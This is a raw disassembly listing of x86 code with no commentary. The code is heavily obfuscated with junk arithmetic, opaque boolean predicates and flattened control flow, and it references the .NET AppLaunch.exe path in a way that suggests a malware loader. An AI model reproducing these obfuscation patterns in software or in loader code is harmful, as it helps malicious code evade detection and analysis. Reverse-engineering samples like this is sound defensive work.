mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd1292869
mov ecx, 0x14f06d29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x8f8b0e22
jmp 0x42c10b
neg eax
neg esi
sbb ebx, 3
neg esi
dec ebx
sub edi, 0xf5
neg ebx
neg edi
not eax
bswap esi
ror eax, 0xf5
and edi, 0xb7
bswap esi
dec edi
or esi, 0xbb
neg edi
not edx
or eax, 0x22
bswap edx
bswap edx
rcr esi, 0x86
mov edi, 0x63
ror edi, 0x97
neg ebx
sub esi, 6
dec eax
rol eax, 0xad
rol eax, 0x30
not ebx
or edi, 0x3e
bswap ebx
dec esi
or edx, 0xa5
dec eax
dec eax
not esi
dec ebx
not esi
add edx, 0x25
inc esi
bswap ebx
neg edx
or edx, 0x47
ror eax, 0x91
and eax, 5
rcl esi, 0x21
dec edx
dec esi
imul eax
ror esi, 0x5e
not edx
rcl edi, 0x79
or esi, 0x52
mov eax, 0x14
sub ebx, 0x9d
imul edi
rol edi, 0xd6
add ebx, 0x2d
not edx
add edi, 0xba
not eax
not ebx
sub ebx, 0x63
bswap edx
not edx
sub eax, 0x1a
inc ebx
not eax
dec ebx
ror esi, 0xb7
dec ebx
rol edx, 0x7c
mov edi, 0x42
add edi, 0x5c
sub esi, 0xfd
rol edi, 0xce
inc eax
imul ebx
neg edi
rcr edi, 0x6c
or edx, 0x3c
imul esi
neg ebx
imul ebx
imul eax
mov ebx, 0x34
ror edi, 0xe1
dec edx
mov edx, 0xe4
ror edi, 0xf3
rol esi, 0xc2
imul edi
dec edx
imul eax
bswap ebx
or edi, 0xe3
sbb edi, 0xe0
bswap edx
rcl edx, 0xbe
neg eax
sbb edx, 0xf1
bswap edx
dec eax
or edi, 0x75
rcr eax, 0x27
neg edx
dec eax
add ebx, 0xc
or eax, 0xa1
rol ebx, 0x6b
neg edi
rcl ebx, 0xe5
or edx, 0xe8
imul edi
and ebx, 0xb4
imul ebx
inc ebx
imul esi
bswap edx
neg edi
ror esi, 0xb1
add eax, 0x9f
dec edx
rcr edx, 0x29
bswap eax
sbb ebx, 0x96
rcr edi, 0x18
add edi, 0x7b
sub eax, 0x71
neg edi
neg edx
bswap edx
rol eax, 0x4f
and ebx, 0x1c
inc eax
add edi, 0x65
imul edi
inc edx
dec edi
rol edi, 0xd7
not ebx
rcl edi, 0x91
rcl edx, 0x49
neg eax
rol ebx, 0x14
add edx, 0x1e
rcr edi, 0x59
add eax, 0x3c
rcr edx, 0xec
inc eax
mov dword [ebp - 0x83178], eax
mov ecx, dword [ebp - 0x83164]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.00497d20
add esp, 0xc
mov eax, dword [ebp - 0x83184]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x83160]
mov byte [eax], cl
mov eax, dword [ebp - 0x83160]
mov dl, byte [eax]
mov eax, 0xdae9cf23
mov ecx, 0x3217447a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov edi, 0x3c
dec ebx
ror esi, 0xb9
neg edi
rcl edi, 0x38
imul ebx
sbb edx, 0x31
ror edx, 0xbf
neg ebx
inc esi
not ebx
rcr eax, 0xc3
rcl ebx, 0x91
inc eax
and edx, 0x97
neg edi
inc edx
or edx, 0x22
bswap edx
dec edx
rol edi, 0xfb
imul edi
imul eax
mov edi, 0xac
ror edi, 0x3c
imul edi
inc ebx
add eax, 0xb0
neg edx
or edx, 0x8f
inc eax
neg edi
rol esi, 0x68
imul eax
inc edi
sbb edx, 0xde
and eax, 0x7b
rol ebx, 0x77
rol ebx, 0x73
sbb edx, 0xf5
sbb eax, 0x65
dec edx
rcl esi, 0x9d
mov esi, 0xf3
add eax, 0x38
neg eax
imul esi
rol ebx, 0xe3
not edx
inc esi
rcr ebx, 0x8b
not esi
not edi
add eax, 0x47
bswap edi
sbb esi, 0x81
rol edx, 0xb1
ror ebx, 0x94
not esi
add ebx, 0x1b
or edi, 0xc7
neg esi
sbb eax, 0x34
sub ebx, 0xec
dec eax
dec esi
imul esi
bswap eax
ror ebx, 0xe8
rol eax, 0x57
rcr ebx, 0xfa
inc edi
neg ebx
inc esi
ror ebx, 0xd9
rcl eax, 0x41
dec eax
mov ebx, 0xe2
dec eax
inc ebx
rcl esi, 0x83
rol edx, 0xe9
dec eax
neg esi
bswap edx
rcr eax, 0xac
add esi, 0x41
dec eax
or edx, 0xf4
imul ebx
and esi, 0x59
rcr esi, 0x59
neg eax
inc ebx
rcl eax, 0xf9
rcl esi, 0x35
sub ebx, 0xad
not ebx
bswap ebx
add esi, 4
and esi, 0x75
inc ebx
imul edx
rcl edi, 0xd8
rcr eax, 0x75
inc ebx
rcl eax, 0xc8
inc eax
bswap eax
rol edx, 0xe9
rcl esi, 0xb2
neg eax
ror esi, 0xb
bswap edi
rcr edi, 0x48
inc eax
rol eax, 0xed
imul edi
inc eax
bswap eax
and eax, 0xe0
bswap edi
sbb edx, 0x5e
rcr edi, 0x6a
or edx, 0x23
add edx, 0xd0
or ebx, 0xd6
mov ebx, 0xdb
rcr edi, 0x95
dec edx
rol eax, 0x90
inc edx
rcr eax, 0xba
imul edx
or eax, 0x55
and edx, 0xd0
bswap ebx
rcr edx, 0xe0
sbb eax, 7
sub edx, 0x44
inc eax
mov edx, 0x36
rcr edx, 0xf2
dec edi
inc ebx
and edi, 0x16
mov edx, 0x46
or ebx, 0xd9
or esi, 0xff
bswap edi
mov dword [ebp - 0x83178], eax
mov eax, dword [ebp - 0x83188]
mov dword [ebp - 0x83080], eax
mov eax, dword [ebp - 0x83184]
mov dword [ebp - 0x8307c], eax
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
mov edx, ecx
add edx, 0xbcd2f282
add edx, 0x31c8cfae
sub edx, 0xbcd2f282
xor esi, esi
sub esi, 0x301f6fd6
add edx, esi
sub edx, 0xe45dc847
sub edx, 0x31c8cfae
add edx, 0xe45dc847
xor esi, esi
sub esi, 0x2793af34
sub esi, 1
add esi, 0x2793af34
add edx, 0xf46d759f
add edx, esi
sub edx, 0xf46d759f
sub edx, 0x27141a11
add edx, 0x2f96e98c
add edx, 0x27141a11
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x301f6fd6
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xf94db001
sub edx, 0x2f96e98c
sub edx, 0xf94db001
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl ah
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dl, bl
xor dl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x83ce5], al
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov dl, ch
xor dl, 0xff
mov al, ah
xor al, dl
and al, ah
mov byte [ebp - 0x83d16], al
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, bh
mov bh, byte [ebp - 0x83d16]
or dl, dh
xor al, dl
mov dh, 1
xor dh, 0
mov dl, al
xor dl, dh
and dl, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83d11], al
xor bh, 0xff
mov dh, 1
xor dh, 1
and al, 0xff
mov byte [ebp - 0x83d15], al
and cl, dh
mov al, bh
and al, 0xff
mov byte [ebp - 0x83d14], al
mov al, byte [ebp - 0x83d16]
and al, dh
mov byte [ebp - 0x83d13], al
mov al, byte [ebp - 0x83d15]
or al, cl
mov cl, byte [ebp - 0x83d14]
mov byte [ebp - 0x83d12], al
mov al, byte [ebp - 0x83d13]
or cl, al
mov al, byte [ebp - 0x83d12]
xor al, cl
mov cl, byte [ebp - 0x83d11]
or cl, bh
xor cl, 0xff
or dh, 1
and cl, dh
or al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
mov ch, cl
and ch, dl
xor cl, 0xff
and al, cl
or ch, al
mov cl, 1
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov dh, 1
xor dh, 0
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov byte [ebp - 0x83d0e], bh
xor bh, 0xff
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
mov al, cl
and al, 1
mov byte [ebp - 0x83d10], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x83d0f], al
mov al, byte [ebp - 0x83d10]
and cl, 1
or dl, al
mov al, byte [ebp - 0x83d0f]
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
mov al, dl
xor al, cl
mov cl, byte [ebp - 0x83d0e]
and al, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, dh
and dl, bh
xor dh, bh
or dl, dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x83d0a], dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x83d0b], bh
mov bh, 1
xor bh, 1
and dh, 0xff
and al, bh
mov byte [ebp - 0x83d0d], al
mov al, byte [ebp - 0x83d0b]
and al, 0xff
mov byte [ebp - 0x83d0c], al
mov al, byte [ebp - 0x83d0d]
and cl, bh
or dh, al
mov al, byte [ebp - 0x83d0c]
or al, cl
mov cl, byte [ebp - 0x83d0b]
xor dh, al
mov al, byte [ebp - 0x83d0a]
or al, cl
mov cl, byte [ebp - 0x83ce5]
xor al, 0xff
or bh, 1
and al, bh
or dh, al
mov bh, dl
xor bh, 0xff
mov al, dh
and al, bh
xor dh, 0xff
and dl, dh
or al, dl
mov byte [ebp - 0x83ce1], al
mov bh, 1
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, dh
or al, dl
xor bh, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and cl, dh
mov dl, bh
xor dl, 0xff
and dl, 0xff
and bh, dh
mov dh, byte [ebp - 0x83ce1]
or al, cl
mov cl, byte [ebp - 0x83ce5]
or dl, bh
xor al, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, bl
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, bl
or cl, dl
xor al, cl
mov byte [ebp - 0x83d09], al
mov cl, dh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov dh, 1
xor dh, 1
and dh, 0
mov bl, 1
xor bl, 0
mov al, bl
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or dh, al
mov al, byte [ebp - 0x83d09]
or dl, bl
xor dh, dl
mov byte [ebp - 0x83d08], dh
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov al, 1
xor al, 1
mov byte [ebp - 0x83d03], al
xor dh, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
mov byte [ebp - 0x83d07], al
mov cl, dl
and cl, 1
mov al, dh
and al, 0xff
mov byte [ebp - 0x83d05], al
mov al, byte [ebp - 0x83d08]
and al, dl
mov byte [ebp - 0x83d06], al
mov al, byte [ebp - 0x83d07]
or al, cl
mov cl, byte [ebp - 0x83d06]
mov byte [ebp - 0x83d04], al
mov al, byte [ebp - 0x83d05]
or al, cl
mov cl, byte [ebp - 0x83d04]
xor cl, al
mov al, byte [ebp - 0x83d03]
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bl
or dl, dh
xor al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov byte [ebp - 0x83d00], al
mov dl, 1
xor dl, 1
and dl, 0
mov al, 1
xor al, 0
mov dh, al
and dh, 1
mov byte [ebp - 0x83d02], dh
mov dh, 1
xor dh, 1
and dh, 0
and al, 1
mov byte [ebp - 0x83d01], al
mov al, byte [ebp - 0x83d02]
or dl, al
mov al, byte [ebp - 0x83d01]
or dh, al
mov al, byte [ebp - 0x83d00]
xor dl, dh
mov byte [ebp - 0x83cfa], dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x83cfb], al
mov dh, 1
xor dh, 0
mov al, dl
and al, 0
mov byte [ebp - 0x83cff], al
mov al, byte [ebp - 0x83cfb]
and cl, dh
and al, 0
mov byte [ebp - 0x83cfd], al
mov al, byte [ebp - 0x83d00]
and al, dh
mov byte [ebp - 0x83cfe], al
mov al, byte [ebp - 0x83cff]
or al, cl
mov cl, byte [ebp - 0x83cfe]
mov byte [ebp - 0x83cfc], al
mov al, byte [ebp - 0x83cfd]
or al, cl
mov cl, byte [ebp - 0x83cfc]
xor cl, al
mov al, byte [ebp - 0x83cfb]
or dl, al
mov al, byte [ebp - 0x83cfa]
xor dl, 0xff
or dh, 0
and dl, dh
or cl, dl
mov dh, al
and dh, 1
xor al, 1
or dh, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and cl, al
mov al, byte [ebp - 0x83ce1]
or dl, cl
xor dl, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 0
or dl, dh
or cl, 0
xor dl, 0xff
and dl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0x83cf8], al
mov al, 1
xor al, 0
mov byte [ebp - 0x83cf9], al
mov cl, ah
and cl, al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x83cf7], al
mov al, byte [ebp - 0x83cf9]
and dh, al
mov al, byte [ebp - 0x83cf8]
or al, cl
mov cl, byte [ebp - 0x83cf7]
or cl, dh
xor al, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov al, bl
xor al, 0xff
mov ah, bh
xor ah, al
and ah, bh
mov dh, bh
xor dh, 0xff
and dh, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x83cf6], al
and bh, al
mov al, bl
xor al, 0xff
and al, 0
mov byte [ebp - 0x83cf5], al
mov al, byte [ebp - 0x83cf6]
and bl, al
mov al, byte [ebp - 0x83cf5]
or dh, bh
or al, bl
xor dh, al
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov byte [ebp - 0x83cea], al
mov bh, dl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dh, dl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, dh
or al, ah
xor bh, al
mov byte [ebp - 0x83cee], bh
mov al, cl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov bl, cl
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or al, bl
or ah, dh
xor al, ah
mov byte [ebp - 0x83cef], al
mov ah, 1
xor ah, 0
and ah, 0
mov bl, 1
xor bl, 0
mov dh, bl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and bl, 1
or ah, dh
mov dh, byte [ebp - 0x83cef]
or al, bl
xor ah, al
mov byte [ebp - 0x83ceb], ah
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, 1
xor al, 1
or bh, bl
or al, 1
xor bh, 0xff
and bh, al
mov bl, ah
xor bl, 0xff
mov al, dl
xor al, bl
and al, dl
mov bl, 1
xor bl, 0
mov dl, dh
xor dl, bl
and dl, dh
mov byte [ebp - 0x83cf2], dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, bh
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov bl, dl
and bl, 0xff
and bh, ah
mov byte [ebp - 0x83cf4], bh
mov bh, dh
and bh, 0xff
and al, ah
mov byte [ebp - 0x83cf3], al
mov al, byte [ebp - 0x83cf4]
or bl, al
mov al, byte [ebp - 0x83cf3]
or bh, al
mov al, byte [ebp - 0x83cf2]
xor bl, bh
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or bl, dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
and al, ah
mov byte [ebp - 0x83cf1], al
mov al, bh
and al, 0
mov byte [ebp - 0x83cf0], al
mov al, byte [ebp - 0x83cf1]
and cl, ah
or dh, al
mov al, byte [ebp - 0x83cf0]
or al, cl
mov cl, byte [ebp - 0x83cef]
xor dh, al
mov al, byte [ebp - 0x83cee]
or dl, bh
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov dl, bl
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, bh
or dl, bl
or ah, dh
xor dl, ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
and al, dh
mov byte [ebp - 0x83ced], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x83cec], al
mov al, byte [ebp - 0x83ced]
and cl, dh
or bh, al
mov al, byte [ebp - 0x83cec]
or al, cl
mov cl, byte [ebp - 0x83ceb]
xor bh, al
mov al, byte [ebp - 0x83cea]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or bh, ah
mov ah, bh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or ah, bh
or dh, bl
xor ah, dh
mov dh, cl
and dh, 0
xor cl, 0
or dh, cl
xor ah, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 0
or ah, dh
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov bh, al
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, dh
or dl, ah
xor bh, dl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
and dl, 1
or ah, dl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov dl, 1
xor dl, 1
or al, dh
or dl, 1
xor al, 0xff
and al, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov dl, cl
and dl, bl
or dh, dl
mov bl, 1
xor bl, 1
mov dl, dh
xor dl, bl
and dl, dh
mov byte [ebp - 0x83ce7], dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and bh, dh
mov byte [ebp - 0x83ce9], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x83ce8], al
mov al, byte [ebp - 0x83ce9]
or dl, al
mov al, byte [ebp - 0x83ce8]
or bh, al
mov al, byte [ebp - 0x83ce7]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x83ce6], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and al, dh
mov bh, bl
and bh, 0
and cl, dh
or ah, al
mov al, byte [ebp - 0x83ce6]
or bh, cl
mov cl, byte [ebp - 0x83ce5]
xor ah, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ah, al
mov dh, dl
xor dh, 0xff
mov al, ah
and al, dh
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x83cd1], al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
mov bh, ch
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dh, ch
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or bh, dh
or dl, ah
xor bh, dl
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
mov byte [ebp - 0x83ce4], ah
mov dl, al
xor dl, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or dl, bl
or dh, 1
xor dl, 0xff
and dl, dh
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
mov ah, bh
xor ah, 0xff
mov bl, 1
xor bl, 1
mov cl, 1
xor cl, 0
or ah, bl
mov bl, byte [ebp - 0x83ce4]
or cl, 0
xor ah, 0xff
and ah, cl
xor ch, 0xff
xor bl, 0xff
mov cl, 1
xor cl, 0
or ch, bl
or cl, 0
xor ch, 0xff
and ch, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x83ce4]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov cl, al
and cl, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or cl, bl
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dl, ch
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov ah, 1
xor ah, 1
mov dl, cl
xor dl, ah
and dl, cl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov cl, ah
and cl, 0
and bh, dh
mov byte [ebp - 0x83ce3], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x83ce2], al
mov al, byte [ebp - 0x83ce3]
or cl, al
mov al, byte [ebp - 0x83ce2]
or bh, al
mov al, byte [ebp - 0x83ce1]
xor cl, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov ch, cl
xor ch, 0xff
mov dl, ah
and dl, ch
xor ah, 0xff
and cl, ah
or dl, cl
mov bh, 1
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov byte [ebp - 0x83cd8], bl
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov byte [ebp - 0x83cda], dh
mov al, bh
xor al, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
mov ch, bl
xor ch, ah
mov ah, byte [ebp - 0x83ce1]
and ch, bl
mov byte [ebp - 0x83cdd], ch
xor ah, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x83cde], ah
mov ah, al
xor ah, 0xff
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bl, ah
and bl, 0
and al, ch
mov byte [ebp - 0x83ce0], al
mov al, dh
and al, 0
mov byte [ebp - 0x83cdf], al
mov al, byte [ebp - 0x83ce0]
and cl, ch
or bl, al
mov al, byte [ebp - 0x83cdf]
or al, cl
mov cl, byte [ebp - 0x83cde]
xor bl, al
mov al, byte [ebp - 0x83cdd]
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or bl, ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x83cd9], dh
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 0
and dh, 0
and al, ah
mov byte [ebp - 0x83cdc], al
mov al, ch
and al, 0
mov byte [ebp - 0x83cdb], al
mov al, byte [ebp - 0x83cdc]
and cl, ah
or dh, al
mov al, byte [ebp - 0x83cdb]
or al, cl
mov cl, byte [ebp - 0x83cda]
xor dh, al
mov al, byte [ebp - 0x83cd9]
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dh, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, al
mov al, byte [ebp - 0x83cd8]
or ah, bl
or ch, dh
xor ah, ch
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x83cd5], ch
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and bh, dh
mov byte [ebp - 0x83cd7], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x83cd6], al
mov al, byte [ebp - 0x83cd7]
or ch, al
mov al, byte [ebp - 0x83cd6]
or bh, al
mov al, byte [ebp - 0x83cd5]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
mov byte [ebp - 0x83cd2], al
mov ch, 1
xor ch, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x83cd4], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83cd3], al
mov al, byte [ebp - 0x83cd4]
and cl, bl
or dh, al
mov al, byte [ebp - 0x83cd3]
or al, cl
mov cl, byte [ebp - 0x83cd2]
xor dh, al
mov al, byte [ebp - 0x83cd1]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
xor dh, 0xff
mov ch, cl
xor ch, dh
and ch, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and cl, ah
or ch, cl
mov ah, dl
xor ah, 0xff
mov cl, ch
and cl, ah
xor ch, 0xff
mov ah, dl
and ah, ch
or cl, ah
xor dl, 0xff
mov ch, cl
xor ch, dl
and ch, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov ah, al
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov dh, ch
xor dh, 0xff
